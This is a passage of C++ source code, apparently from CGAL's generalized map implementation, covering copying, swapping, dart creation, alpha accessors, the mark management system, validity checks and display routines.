GMap2::Dart_const_handle,Dart_handle> ::iterator dartmap_iter, dartmap_iter_end=dart_mapping->end(); for (dartmap_iter=dart_mapping->begin(); dartmap_iter!=dartmap_iter_end; ++dartmap_iter) { for (unsigned int i=0; i<=min_dim; i++) { if (!amap.is_free(dartmap_iter->first,i) && (dartmap_iter->first)<(amap.alpha(dartmap_iter->first,i))) { basic_link_alpha(dartmap_iter->second, (*dart_mapping)[amap.alpha(dartmap_iter->first,i)], i); } } } /** Copy attributes */ for (dartmap_iter=dart_mapping->begin(); dartmap_iter!=dartmap_iter_end; ++dartmap_iter) { Helper::template Foreach_enabled_attributes < internal::Copy_attributes_functor <GMap2, Refs, Converters, PointConverter> >:: run(amap, static_cast<Refs&>(*this), dartmap_iter->first, dartmap_iter->second, converters, pointconverter); } CGAL_assertion (is_valid () == 1); } template <typename GMap2> void copy(const GMap2& amap, boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL) { CGAL::cpp11::tuple<> converters; Default_converter_dart_info<GMap2, Refs> dartinfoconverter; Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter; copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping); } template <typename GMap2, typename Converters> void copy(const GMap2& amap, const Converters& converters, boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL) { Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter; Default_converter_dart_info<GMap2, Refs> dartinfoconverter; copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping); } template <typename GMap2, typename Converters, typename DartInfoConverter> void copy(const GMap2& amap, const Converters& converters, const DartInfoConverter& dartinfoconverter, boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL) { Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter; copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping); } // Copy constructor from a map having exactly the same type. Generalized_map_base (const Self & amap) { copy<Self>(amap); } // "Copy constructor" from a map having different type. template <typename GMap2> Generalized_map_base(const GMap2& amap) { copy(amap); } // "Copy constructor" from a map having different type. template <typename GMap2, typename Converters> Generalized_map_base(const GMap2& amap, Converters& converters) { copy(amap, converters); } // "Copy constructor" from a map having different type. template <typename GMap2, typename Converters, typename DartInfoConverter> Generalized_map_base(const GMap2& amap, Converters& converters, const DartInfoConverter& dartinfoconverter) { copy(amap, converters, dartinfoconverter); } // "Copy constructor" from a map having different type. template <typename GMap2, typename Converters, typename DartInfoConverter, typename PointConverter> Generalized_map_base(const GMap2& amap, Converters& converters, const DartInfoConverter& dartinfoconverter, const PointConverter& pointconverter) { copy(amap, converters, dartinfoconverter, pointconverter); } /** Affectation operation. Copies one map to the other. * @param amap a generalized map. * @return A copy of that generalized map. */ Self & operator= (const Self & amap) { if (this!=&amap) { Self tmp(amap); this->swap(tmp); } return *this; } /** Swap this generalized map with amap, a second generalized map. * Note that the two maps have exactly the same type. * @param amap a generalized map. */ void swap(Self & amap) { if (this!=&amap) { mdarts.swap(amap.mdarts); Helper::template Foreach_enabled_attributes < internal::Swap_attributes_functor <Self> >::run(*this, amap); std::swap_ranges(mnb_times_reserved_marks, mnb_times_reserved_marks+NB_MARKS, amap.mnb_times_reserved_marks); std::swap(mmask_marks,amap.mmask_marks); std::swap(mnb_used_marks, amap.mnb_used_marks); std::swap_ranges(mindex_marks,mindex_marks+NB_MARKS, amap.mindex_marks); std::swap_ranges(mfree_marks_stack, mfree_marks_stack+NB_MARKS, amap.mfree_marks_stack); std::swap_ranges(mused_marks_stack,mused_marks_stack+NB_MARKS, amap.mused_marks_stack); std::swap_ranges(mnb_marked_darts,mnb_marked_darts+NB_MARKS, amap.mnb_marked_darts); std::swap(automatic_attributes_management, amap.automatic_attributes_management); } } /** Clear the generalized map. Remove all darts and all attributes. * Note that reserved marks are not free. */ void clear() { mdarts.clear(); for ( size_type i = 0; i < NB_MARKS; ++i) this->mnb_marked_darts[i] = 0; internal::Clear_all::run(mattribute_containers); this->init_storage(); } /** Test if the map is empty. * @return true iff the map is empty. */ bool is_empty() const { return mdarts.empty(); } friend std::ostream& operator<< (std::ostream& os, const Self& amap) { save_generalized_map(amap, os); return os; } friend std::ifstream& operator>> (std::ifstream& is, Self& amap) { load_generalized_map(is, amap); return is; } /** Create a new dart and add it to the map. * The marks of the darts are initialised with mmask_marks, i.e. the dart * is unmarked for all the marks. * @return a Dart_handle on the new dart. */ #ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES template < typename... Args > Dart_handle create_dart(const Args&... args) { Dart_handle res=mdarts.emplace(args...); init_dart(res); return res; } #else Dart_handle create_dart() { Dart_handle res=mdarts.emplace(); init_dart(res); return res; } template < typename T1 > Dart_handle create_dart(const T1 &t1) { Dart_handle res=mdarts.emplace(t1); init_dart(res); return res; } template < typename T1, typename T2 > Dart_handle create_dart(const T1 &t1, const T2 &t2) { Dart_handle res=mdarts.emplace(t1, t2); init_dart(res); return res; } template < typename T1, typename T2, typename T3 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3) { Dart_handle res=mdarts.emplace(t1, t2, t3); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4, typename T5 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4, typename T5, typename T6 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7, typename T8 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7, t8); init_dart(res); return res; } template < typename T1, typename T2, typename T3, typename T4, typename T5, typename T6, typename T7, typename T8, typename T9 > Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3, const T4 &t4, const T5 &t5, const T6 &t6, const T7 &t7, const T8 &t8, const T9 &t9) { Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7, t8, t9); init_dart(res); return res; } #endif /** Erase a dart from the list of darts. * @param adart the dart to erase. */ void erase_dart(Dart_handle adart) { // 1) We update the number of marked darts. for ( size_type i = 0; i < mnb_used_marks; ++i) { if (is_marked(adart, mused_marks_stack[i])) --mnb_marked_darts[mused_marks_stack[i]]; } // 2) We update the attribute_ref_counting. Helper::template Foreach_enabled_attributes <internal::Decrease_attribute_functor<Self> >::run(*this,adart); // 3) We erase the dart. mdarts.erase(adart); } /// @return true if dh points to a used dart (i.e. valid). bool is_dart_used(Dart_const_handle dh) const { return mdarts.is_used(dh); } /// @return a Dart_range (range through all the darts of the map). Dart_range& darts() { return mdarts;} Dart_const_range& darts() const { return mdarts; } /** Get the first dart of this map. * @return the first dart. */ Dart_handle first_dart() { if (darts().begin() == darts().end()) return null_handle; return mdarts.begin(); } Dart_const_handle first_dart() const { if (darts().begin() == darts().end()) return null_handle; return mdarts.begin(); } /// @return the Dart_handle corresponding to the given dart. Dart_handle dart_handle(Dart& adart) { return mdarts.iterator_to(adart); } Dart_const_handle dart_handle(const Dart& adart) const { return mdarts.iterator_to(adart); } /** Return the highest dimension for which dh is not free. * @param dh a dart handle * @return the dimension d such that dh is not d-free but k-free for * all k>d. -1 if the dart is free for all d in {0..n} */ int highest_nonfree_dimension(Dart_const_handle dh) const { for (int i=(int)dimension; i>=0; --i) { if ( !is_free(dh, i) ) return i; } return -1; } /** Return a dart belonging to the same edge and to the second vertex * of the current edge (NULL if such a dart does not exist). * @return An handle to a dart belonging to the other extremity. */ Dart_handle other_extremity(Dart_handle dh) { if (!is_free(dh, 0)) return alpha(dh, 0); return null_handle; } Dart_const_handle other_extremity(Dart_const_handle dh) const { if (!is_free(dh, 0)) return alpha(dh, 0); return null_handle; } // Set the handle on the i th attribute template<unsigned int i> void set_dart_attribute(Dart_handle dh, typename Attribute_handle<i>::type ah) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "set_dart_attribute<i> called but i-attributes are disabled."); if ( this->template attribute<i>(dh)==ah ) return; if ( this->template attribute<i>(dh)!=null_handle ) { this->template dec_attribute_ref_counting<i>(this->template attribute<i>(dh)); if ( this->are_attributes_automatically_managed() && this->template get_attribute_ref_counting<i> (this->template attribute<i>(dh))==0 ) this->template erase_attribute<i>(this->template attribute<i>(dh)); } this->template basic_set_dart_attribute<i>(dh, ah); if ( ah!=null_handle ) { this->template set_dart_of_attribute<i>(ah, dh); this->template inc_attribute_ref_counting<i>(ah); } } protected: /// Marks can be modified even for const handle; otherwise it is not /// possible to iterate through const generalized maps. // Initialize a given dart: all alpha to null_dart_handle and all // attributes to null, all marks unmarked. void init_dart(Dart_handle adart) { set_dart_marks(adart, mmask_marks); for (unsigned int i = 0; i <= dimension; ++i) dart_unlink_alpha(adart, i); Helper::template Foreach_enabled_attributes <internal::Init_attribute_functor<Self> >::run(*this, adart); } // Initialize a given dart: all alpha to this and all // attributes to null, marks are given. void init_dart(Dart_handle adart, const std::bitset<NB_MARKS>& amarks) { set_marks(adart, amarks); for (unsigned int i = 0; i <= dimension; ++i) dart_unlink_alpha(adart, i); Helper::template Foreach_enabled_attributes <internal::Init_attribute_functor<Self> >::run(*this, adart); } public: /// @return the alphas of ADart (alpha are used in the same order than /// they are given as parameters) #ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES template<typename ...Alphas> Dart_handle alpha(Dart_handle ADart, Alphas... alphas) { return CGAL::internal::Alpha_functor<Self, Dart_handle, Alphas...>:: run(*this, ADart, alphas...); } template<typename ...Alphas> Dart_const_handle alpha(Dart_const_handle ADart, Alphas... alphas) const { return CGAL::internal::Alpha_functor<const Self, Dart_const_handle, Alphas...>:: run(*this, ADart, alphas...); } template<int... Alphas> Dart_handle alpha(Dart_handle ADart) { return CGAL::internal::Alpha_functor_static<Self, Dart_handle, Alphas...>:: run(*this, ADart); } template<int... Alphas> Dart_const_handle alpha(Dart_const_handle ADart) const { return CGAL::internal::Alpha_functor_static<const Self, Dart_const_handle, Alphas...>:: run(*this, ADart); } #else Dart_handle alpha(Dart_handle ADart, int B1) { return this->get_alpha(ADart, B1); } Dart_handle alpha(Dart_handle ADart, int B1, int B2) { return alpha(alpha(ADart, B1), B2); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3) { return alpha(alpha(ADart, B1), B2, B3); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4) { return alpha(alpha(ADart, B1), B2, B3, B4); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4, int B5) { return alpha(alpha(ADart, B1), B2, B3, B4, B5); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6) { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7) { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8) { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8); } Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8, int B9) { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8, B9); } template<int B1> Dart_handle alpha(Dart_handle ADart) { return this->template get_alpha<B1>(ADart); } template<int B1, int B2> Dart_handle alpha(Dart_handle ADart) { return alpha<B2>(alpha<B1>(ADart)); } template<int B1, int B2, int B3> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4, B5>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4, B5, B6>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4, B5, B6, B7>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4, B5, B6, B7, B8>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8, int B9> Dart_handle alpha(Dart_handle ADart) { return alpha<B2, B3, B4, B5, B6, B7, B8, B9>(alpha<B1>(ADart)); } Dart_const_handle alpha(Dart_const_handle ADart, int B1) const { return this->get_alpha(ADart, B1); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2) const { return alpha(alpha(ADart, B1), B2); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3) const { return alpha(alpha(ADart, B1), B2, B3); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4) const { return alpha(alpha(ADart, B1), B2, B3, B4); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4, int B5) const { return alpha(alpha(ADart, B1), B2, B3, B4, B5); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6) const { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7) const { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8) const { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8); } Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8, int B9) const { return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8, B9); } template<int B1> Dart_const_handle alpha(Dart_const_handle ADart) const { return this->template get_alpha<B1>(ADart); } template<int B1, int B2> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2>(alpha<B1>(ADart)); } template<int B1, int B2, int B3> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4, B5>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4, B5, B6>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4, B5, B6, B7>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4, B5, B6, B7, B8>(alpha<B1>(ADart)); } template<int B1, int B2, int B3, int B4, int B5, int B6, int B7, int B8, int B9> Dart_const_handle alpha(Dart_const_handle ADart) const { return alpha<B2, B3, B4, B5, B6, B7, B8, B9>(alpha<B1>(ADart)); } #endif // Generic function to iterate on CMap or GMap in a generic way bool is_previous_exist(Dart_const_handle ADart) const { return !this->template is_free<1>(ADart) && !this->template is_free<0>(alpha<1>(ADart)); } bool is_next_exist(Dart_const_handle ADart) const { return !this->template is_free<0>(ADart) && !this->template is_free<1>(this->template alpha<0>(ADart)); } template<unsigned int dim> bool is_opposite_exist(Dart_const_handle ADart) const { return !this->template is_free<dim>(ADart) && !this->template is_free<0>(this->template alpha<dim>(ADart)); } Dart_handle previous(Dart_handle ADart) { return this->template alpha<1, 0>(ADart); } Dart_const_handle previous(Dart_const_handle ADart) const { return this->template alpha<1, 0>(ADart); } Dart_handle next(Dart_handle ADart) { return this->template alpha<0, 1>(ADart); } Dart_const_handle next(Dart_const_handle ADart) const { return this->template alpha<0, 1>(ADart); } template<unsigned int dim> Dart_handle opposite(Dart_handle ADart) { return this->template alpha<0, dim>(ADart); } template<unsigned int dim> Dart_const_handle opposite(Dart_const_handle ADart) const { return this->template alpha<0, dim>(ADart); } void set_next(Dart_handle dh1, Dart_handle dh2) { assert(!this->template is_free<0>(dh1)); this->template link_alpha<1>(this->template alpha<0>(dh1), dh2); } template<unsigned int dim> void set_opposite(Dart_handle dh1, Dart_handle dh2) { assert(!this->template is_free<0>(dh1)); assert(!this->template is_free<0>(dh2)); this->template link_alpha<dim>(this->template alpha<0>(dh1), dh2); this->template link_alpha<dim>(dh1, this->template alpha<0>(dh2)); } Dart_handle other_orientation(Dart_handle ADart) { CGAL_assertion(!this->template is_free<0>(ADart)); return this->alpha<0>(ADart); } Dart_const_handle other_orientation(Dart_const_handle ADart) const { CGAL_assertion(!this->template is_free<0>(ADart)); return this->alpha<0>(ADart); } size_type number_of_halfedges() const { assert(is_without_boundary(0)); return number_of_darts()/2; } bool are_all_faces_closed() const { for ( typename Dart_const_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) { if (this->template is_free<0>(it) || this->template is_free<1>(it)) return false; } return true; } /** Count the number of used marks. * @return the number of used marks. */ size_type number_of_used_marks() const { return mnb_used_marks; } /** Test if a given mark is reserved. * @return true iff the mark is reserved (ie in used). */ bool is_reserved(size_type amark) const { CGAL_assertion(amark<NB_MARKS); return (mnb_times_reserved_marks[amark]!=0); } /** Count the number of marked darts for a given mark. * @param amark the mark index. * @return the number of marked darts for amark. */ size_type number_of_marked_darts(size_type amark) const { CGAL_assertion( is_reserved(amark) ); return mnb_marked_darts[amark]; } /** Count the number of unmarked darts for a given mark. * @param amark the mark index. * @return the number of unmarked darts for amark. */ size_type number_of_unmarked_darts(size_type amark) const { CGAL_assertion( is_reserved(amark) ); return number_of_darts() - number_of_marked_darts(amark); } /** Test if all the darts are unmarked for a given mark. * @param amark the mark index. * @return true iff all the darts are unmarked for amark. */ bool is_whole_map_unmarked(size_type amark) const { return number_of_marked_darts(amark) == 0; } /** Test if all the darts are marked for a given mark. * @param amark the mark index. * @return true iff all the darts are marked for amark. */ bool is_whole_map_marked(size_type amark) const { return number_of_marked_darts(amark) == number_of_darts(); } /** Reserve a new mark. * Get a new free mark and return its index. * All the darts are unmarked for this mark. * @return the index of the new mark. * @pre mnb_used_marks < NB_MARKS */ size_type get_new_mark() const { if (mnb_used_marks == NB_MARKS) { std::cerr << "Not enough Boolean marks: " "increase NB_MARKS in item class." << std::endl; std::cerr << " (exception launched)" << std::endl; throw Exception_no_more_available_mark(); } size_type m = mfree_marks_stack[mnb_used_marks]; mused_marks_stack[mnb_used_marks] = m; mindex_marks[m] = mnb_used_marks; mnb_times_reserved_marks[m]=1; ++mnb_used_marks; CGAL_assertion(is_whole_map_unmarked(m)); return m; } /** Increase the number of times a mark is reserved. * @param amark the mark to share. */ void share_a_mark(size_type amark) const { CGAL_assertion( is_reserved(amark) ); ++mnb_times_reserved_marks[amark]; } /** @return the number of times a mark is reserved. * @param amark the mark to share. */ size_type get_number_of_times_mark_reserved(size_type amark) const { CGAL_assertion( amark<NB_MARKS ); return mnb_times_reserved_marks[amark]; } /** Negate the mark of all the darts for a given mark. * After this call, all the marked darts become unmarked and all the * unmarked darts become marked (in constant time operation). * @param amark the mark index */ void negate_mark(size_type amark) const { CGAL_assertion( is_reserved(amark) ); mnb_marked_darts[amark] = number_of_darts() - mnb_marked_darts[amark]; mmask_marks.flip(amark); } /** Test if a given dart is marked for a given mark. * @param adart the dart to test. * @param amark the given mark. * @return true iff adart is marked for the mark amark. */ bool is_marked(Dart_const_handle adart, size_type amark) const { CGAL_assertion( is_reserved(amark) ); return get_dart_mark(adart, amark)!=mmask_marks[amark]; } /** Set the mark of a given dart to a state (on or off). * @param adart the dart. * @param amark the given mark. * @param astate the state of the mark (on or off). */ void set_mark_to(Dart_const_handle adart, size_type amark, bool astate) const { CGAL_assertion( is_reserved(amark) ); if (is_marked(adart, amark) != astate) { if (astate) ++mnb_marked_darts[amark]; else --mnb_marked_darts[amark]; flip_dart_mark(adart, amark); } } /** Mark the given dart. * @param adart the dart. * @param amark the given mark. */ void mark(Dart_const_handle adart, size_type amark) const { CGAL_assertion( is_reserved(amark) ); if (is_marked(adart, amark)) return; ++mnb_marked_darts[amark]; flip_dart_mark(adart, amark); } /** Unmark the given dart. * @param adart the dart. * @param amark the given mark. */ void unmark(Dart_const_handle adart, size_type amark) const { CGAL_assertion( is_reserved(amark) ); if (!is_marked(adart, amark)) return; --mnb_marked_darts[amark]; flip_dart_mark(adart, amark); } /** Unmark all the darts of the map for a given mark. * If all the darts are marked or unmarked, this operation takes O(1) * operations, otherwise it traverses all the darts of the map. * @param amark the given mark. */ void unmark_all(size_type amark) const { CGAL_assertion( is_reserved(amark) ); if ( is_whole_map_marked(amark) ) { negate_mark(amark); } else if ( !is_whole_map_unmarked(amark) ) { for ( typename Dart_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) unmark(it, amark); } CGAL_assertion(is_whole_map_unmarked(amark)); } /** Free a given mark, previously calling unmark_all_darts. * @param amark the given mark. */ void free_mark(size_type amark) const { CGAL_assertion( is_reserved(amark) ); if ( mnb_times_reserved_marks[amark]>1 ) { --mnb_times_reserved_marks[amark]; return; } unmark_all(amark); // 1) We remove amark from the array mused_marks_stack by // replacing it with the last mark in this array. mused_marks_stack[mindex_marks[amark]] = mused_marks_stack[--mnb_used_marks]; mindex_marks[mused_marks_stack[mnb_used_marks]] = mindex_marks[amark]; // 2) We add amark in the array mfree_marks_stack and update its index. mfree_marks_stack[ mnb_used_marks ] = amark; mindex_marks[amark] = mnb_used_marks; mnb_times_reserved_marks[amark]=0; } /** Test if this map is without boundary for a given dimension. * @param i the dimension. * @return true iff all the darts are not i-free. * @pre 0<=i<=n */ bool is_without_boundary(unsigned int i) const { CGAL_assertion(i<=dimension); for ( typename Dart_const_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) if (is_free(it, i)) return false; return true; } /** Test if this map is without boundary for all the dimensions. * @return true iff all the darts are non free. */ bool is_without_boundary() const { for ( typename Dart_const_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) for ( unsigned int i = 0; i<=dimension; ++i) if (is_free(it, i)) return false; return true; } /** Close the generalized map for a given dimension. * @param i the dimension to close * @return the number of new darts. * @pre 0<=i<=n */ template<unsigned int i> unsigned int close() { CGAL_assertion( i<=dimension ); unsigned int res = 0; Dart_handle d, d2; for ( typename Dart_range::iterator it(darts().begin()); it!=darts().end(); ++it) { if ( this->template is_free<i>(it) ) { d = create_dart(); ++res; link_alpha<i>(it, d); for ( unsigned int j=0; j<=dimension; ++j) { if ( j+1!=i && j!=i && j!=i+1 && !is_free(it, j) && !this->template is_free<i>(alpha(it, j)) ) { basic_link_alpha(d, alpha(it, j, i), j); } } if ( i>0 ) { d2 = alpha<i-1>(it); while ( !this->template is_free<i>(d2) && !this->template is_free<i-1>(alpha<i>(d2)) ) { d2 = alpha<i, i-1>(d2); } if (!this->template is_free<i>(d2)) { basic_link_alpha<i-1>(alpha<i>(d2), d); } } } } return res; } /** Test if the map is valid. * @return true iff the map is valid. */ bool is_valid() const { bool valid = true; unsigned int i = 0, j = 0; std::vector<size_type> marks(dimension+1); for ( i=0; i<=dimension; ++i) marks[i] = INVALID_MARK; Helper::template Foreach_enabled_attributes<Reserve_mark_functor<Self> >:: run(*this, marks); for ( typename Dart_range::const_iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) { if ( !valid ) { // We continue the traversal to mark all the darts. for ( i=0; i<=dimension; ++i) if (marks[i]!=INVALID_MARK) mark(it,marks[i]); } else { // Each alpha_i must be an involution for ( i = 0; i <= dimension; ++i) if (alpha(it, i, i)!=it) { std::cerr << "Map not valid: alpha(" << i << ") is not an involution for dart " <<darts().index(it)<< std::endl; valid = false; } // alpha_i o alpha_j must be an involution for j>=i+2 for ( i = 0; i <= dimension-2; ++i) { for ( j = i + 2; j <= dimension; ++j) if (alpha(it, i, j)!=alpha(it, j, i)) { std::cerr <<"Map not valid: alpha(" << i <<") o alpha(" << j <<") is not an involution for dart " <<darts().index(it)<< std::endl; valid = false; } } Helper::template Foreach_enabled_attributes <internal::Test_is_valid_attribute_functor<Self> >:: run(*this, it, marks, valid); } } for ( i=0; i<=dimension; ++i) if ( marks[i]!=INVALID_MARK ) { CGAL_assertion( is_whole_map_marked(marks[i]) ); free_mark(marks[i]); } return valid; } /// correct invalid attributes in the gmap void correct_invalid_attributes() { std::vector<size_type> marks(dimension+1); for ( unsigned int i=0; i<=dimension; ++i) marks[i] = INVALID_MARK; Helper::template Foreach_enabled_attributes<Reserve_mark_functor<Self> >:: run(*this, marks); for ( typename Dart_range::iterator it(darts().begin()), itend(darts().end()); it!=itend; ++it) { Helper::template Foreach_enabled_attributes <internal::Correct_invalid_attributes_functor<Self> >:: run(*this, it, marks); } for ( unsigned int i=0; i<=dimension; ++i) if ( marks[i]!=INVALID_MARK ) { CGAL_assertion( is_whole_map_marked(marks[i]) ); free_mark(marks[i]); } Helper::template Foreach_enabled_attributes<internal::Cleanup_useless_attributes<Self> >:: run(*this); } /// @return the number of darts. size_type number_of_darts() const { return mdarts.size(); } /// @return an estimation of the bytes used by the generalized map. size_type bytes() const { return mdarts.capacity() * sizeof(Dart) + internal::Count_bytes_all_attributes_functor<Self>::run(*this); } /** Write the content of the map: each dart and each alpha links. * @param os the ostream. * @return the ostream. */ std::ostream& display_darts(std::ostream & os, bool attribs=false) const { unsigned int nb = 0; for ( typename Dart_range::const_iterator it=darts().begin(); it!=darts().end(); ++it) { os << " dart " << darts().index(it)<<"; alpha[i]="; for ( unsigned int i=0; i<=dimension; ++i) { os << darts().index(alpha(it, i)) << ",\t"; } if ( attribs ) { Helper::template Foreach_enabled_attributes <Display_attribute_functor<Self> >::run(*this, it); } os << std::endl; ++nb; } os << "Number of darts: " << nb <<"(sizeofdarts=" <<number_of_darts()<<")" << std::endl; return os; } /** Write the content of each given orbit of the map. * @param aos the ostream. * @return the ostream. */ template < class Ite > std::ostream& display_orbits(std::ostream & aos) const { CGAL_static_assertion( (boost::is_same<typename Ite::Basic_iterator, Tag_true>::value) ); unsigned int nb = 0; size_type amark = get_new_mark(); for ( typename Dart_range::const_iterator it1(darts().begin()), itend(darts().end()); it1!=itend; ++it1) { if ( !is_marked(it1, amark) ) { ++nb; for ( Ite it2(*this, it1, amark); it2.cont(); ++it2 ) { aos << darts().index(it2) << " - " << std::flush; mark(it2, amark); } aos << std::endl; } } CGAL_assertion( is_whole_map_marked(amark) ); free_mark(amark); aos << "Number of orbits: " << nb << std::endl; return aos; } /** Write the content of each i-cell of the map. * @param aos the ostream. * @return the ostream. */ template < unsigned int i > std::ostream& display_cells(std::ostream & aos) const { return display_orbits<GMap_dart_const_iterator_basic_of_cell<Self,i> > (aos); } /** Write the number of darts and cells of the map into a given ostream. * @param os the ostream. * @return the ostream. */ std::ostream& display_characteristics(std::ostream & os) const { std::vector<unsigned int> cells(dimension+2); for ( unsigned int i=0; i<=dimension+1; ++i) { cells[i]=i; } std::vector<unsigned int> res = count_cells(cells); bool orientable=is_orientable(); os << "#Darts=" << number_of_darts(); for ( unsigned int i=0; i<=dimension; ++i) os<<", #"<<i<<"-cells="<<res[i]; os<<", #ccs="<<res[dimension+1] <<", orientable="<<(orientable?"true":"false"); return os; } /// Create a new attribute. /// @return a handle on the new attribute. #ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES template<unsigned int i, typename ...Args> typename Attribute_handle<i>::type create_attribute(const Args&... args) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); typename Attribute_handle<i>::type res= CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(args...); // Reinitialize the ref counting of the new attribute. This is normally // not required except if create_attribute is used as "copy contructor". this->template init_attribute_ref_counting<i>(res); return res; } #else template<unsigned int i> typename Attribute_handle<i>::type create_attribute() { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); return CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(); } template<unsigned int i, typename T1> typename Attribute_handle<i>::type create_attribute(const T1 &t1) { CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0, "create_attribute<i> but i-attributes are disabled"); typename Attribute_handle<i>::type res= CGAL::cpp11::get<Helper::template Dimension_index<i>::value> (mattribute_containers).emplace(t1); this->template init_attribute_ref_counting<i>(res); return res; } template<unsigned int i, typename T1, typename T2> 